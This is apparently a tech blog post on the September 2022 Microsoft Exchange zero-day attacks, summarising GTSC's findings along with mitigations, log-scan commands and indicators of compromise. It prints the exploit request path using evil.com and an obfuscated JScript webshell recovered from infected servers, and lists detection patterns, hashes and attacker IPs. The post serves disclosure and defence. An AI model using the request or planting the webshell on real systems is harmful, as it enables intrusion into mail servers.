Exchange Server servers attacked via 0-day exploit (Sept. 29, 2022)Born's Tech and Windows World

Exchange Logo [German]There are reports that a new zero-day exists in Microsoft Exchange that is being actively exploited in the wild. Security researchers confirm that some installations – including a honeypot – are already infected. Details about the zero-day are not yet available. Here's an overview of what I know so far and what, if anything, can be done to detect attacks.

Advertising

I came across the facts a few minutes ago via Twitter. Security researcher Kevin Beaumont warns of a potential threat to Exchange servers from a zero-day exploit. At the same time, an email from blog reader Marco D. arrived (thanks for that), informing me about the issue as follows:

I just discovered this on Twitter, a zero day exploit for Exchange:

I don't know the linked Vietnamese site, but the content seemed conclusive, especially since the ZDI entries exist as well.

First report from GTSC

The article WARNING: NEW ATTACK CAMPAIGN UTILIZED A NEW 0-DAY RCE VULNERABILITY ON MICROSOFT EXCHANGE SERVER by an author from Vietnam seems to be the first source describing the problem. The security team at Vietnamese cybersecurity firm GTSC discovered in early August 2022 that a critical infrastructure had been attacked as part of security monitoring and incident response activities. Microsoft Exchange servers of the organizations in question were affected.

During the investigation, GTSC's Blue Team experts determined that the attack exploited an undisclosed Exchange vulnerability, i.e., a 0-day vulnerability. The team immediately created a countermeasure plan to stop the attacks. At the same time, the GTSC Red teams began examining and debugging Exchange's decompiled code to find the vulnerability and exploit code.

A previously unknown vulnerability (zero-day) was found that proved to be critical enough to allow attackers to perform remote code execution (RCE) on the compromised target system. GTSC immediately reported the vulnerability to the Zero Day Initiative (ZDI) to work with Microsoft. The goal was to create a patch as quickly as possible. The Zero Day Initiative (ZDI) verified and confirmed 2 flaws with CVSS scores 8.8 and 6.3 related to the exploit.

Advertising

ZDI-CAN-18333 CVSS 8.8
ZDI-CAN-18802 CVSS 6.3

GTSC security researchers found that other customers were also affected by a similar problem. After testing, it could be confirmed that these systems were attacked via this 0-day vulnerability.

Security researchers confirm the attacks

I was struck by the tweets of security researcher Kevin Beaumont, who confirmed on Twitter that some installations – including a honeypot – were already infected.

So far, there is no patch to close the vulnerability from Microsoft – and it doesn't look like Microsoft has informed customers about the problem either.

Details of the attack

While providing Security Operations Center (SOC) services to a customer, the GTSC Blueteam discovered exploit requests in IIS logs with the same format as the long-known ProxyShell vulnerability. Kevin Beaumont writes here that the attackers pretend to be an Exchange EWS to set up a backdoor. The attack is done via the following request:

autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com

The link above is used to access a component in the backend where the remote code exploit (RCE) could then be implemented. According to GTSC, the attackers make use of various techniques to insert backdoors into the affected Exchange system and then move laterally on the network to other servers in the system.

During the investigation, the security researchers discovered webshells, most of which were created hidden on the infected Exchange servers. Based on the user agent, the GTSC team was able to determine that the attacker was using Antsword. This is an active cross-platform open-source website management tool used by China's hackers to help manage webshells. Here is a JScript about it:

<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'
+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+
System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))
+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)
+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Wg=='))
+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'
+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>

The security team suspects that these backdoors originated from a Chinese attack group because the webshell uses code page 936, a Microsoft character encoding for simplified Chinese. Another notable feature, security researchers said, is that the hacker also modified the contents of the RedirSuiteServiceProxy.aspx file for the webshell. RedirSuiteServiceProxy.aspx is a legitimate file name available on the Exchange server.

FileName	Path
RedirSuiteServiceProxy.aspx	C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashx	C:\inetpub\wwwroot\aspnet_client
pxh4HG1v.ashx	C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

Although the exploit used attack techniques that were also used for the previously known ProxyShell vulnerability, the scan of the infected Exchange servers revealed that the latest Exchange update was already installed there. Thus, exploitation of the Proxyshell vulnerability was impossible. Blueteam analysts at GTSC confirm that this is a new 0-day RCE vulnerability. Details on how the attack was conducted and further findings of the analysis are disclosed here.

Workarounds to mitigate the vulnerability

In their article, the GTSC security researchers suggest measures to prevent exploitation of the 0-day vulnerability in fully patched Exchange servers. To block attack attempts, add a new URL rewrite rule in IIS Server:

In Autodiscover at FrontEnd select tab URL Rewrite, select Request Blocking
Add string ".*autodiscover\.json.*\@.*Powershell.*" to the URL Path
Set condition input to: Choose {REQUEST_URI}

There are corresponding screenshots in the article. Security researchers recommend all organizations/companies using Microsoft Exchange Server to apply the above temporary workarounds as soon as possible to prevent potential attacks.

Check for compromise

To check if an Exchange Server has already been affected by an attack, GTSC has published a guide and tool for scanning IIS log files (stored by default in the %SystemDrive%\inetpub\logs\LogFiles folder):

Methode 1: Use the Powershell command:

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200'

Addendum: On Facebook, a German administrator pointed out to me that he had to make some adjustments to the PowerShell command. Here are his comments:

Regarding the PS command to search the logfiles: I created my own logfile as a test with the appropriate pattern:

'powershell.*autodiscover\.json.*\@.*200'

on our 2016ner (German language) it doesn't find the pattern and therefore doesn't return any results and it looks like everything is fine.

If you shorten the pattern to only 'powershell.*autodiscover' it also finds the results. Tested with PS x86 & x64.

and then added:

I just played around a bit. At the end of the PS-command there must be a "-SimpleMatch" otherwise it recognizes the first "\" in the pattern as a regular expression, so it doesn't recognize the pattern correctly and returns no results.

Otherwise you can replace the two "\" with two "\" and the backslash will be recognized as an actual backslash.

The following powershell command uses \\

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\\.json.*\\@.*200'

works as a command for the administrator in question (see also the following screenshot).

Click to zoom

Methode 2: Use the tool developed by the GTSC.

Based on the exploit signature, the GTSC folks have created a tool that takes a much shorter search time than powershell. The tool can be downloaded from GitHub. In the article, the GTSC security researchers have also provided some Indicators of Compromise (IOCs) that can be used to identify an infection:

Webshell:

File Name: pxh4HG1v.ashx

Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx

Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

Path: Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL:

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP:

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Addendum: Microsoft has released some informations and recomendations to mitigate – see my follow up post Microsoft's recommendations for Exchange Server 0-day vulnerability ZDI-CAN-18333.

Article series:
Exchange Servers are attacked via 0-day exploit (Sept. 29, 2022)
Microsoft's recommendations for Exchange Server 0-day vulnerability ZDI-CAN-18333
Update on Exchange Server 0-day Vulnerability ZDI-CAN-18333: Fixes, Scripts and EMS Solution
Exchange Server: Microsoft updates it's mitigation for the 0-day ProxyNotShell vulnerability (October 5, 2022)
Exchange Server: Microsofts improves solutions for 0-day mitigation again (October 8, 2022)

Advertising

Exchange Server servers attacked via 0-day exploit (Sept. 29, 2022)

First report from GTSC

Security researchers confirm the attacks

Details of the attack

Workarounds to mitigate the vulnerability

Check for compromise

Leave a Reply Cancel reply

Blogs

Links

Social networks

Awards

Sponsors

Recent Comments

Recent Comments

Meta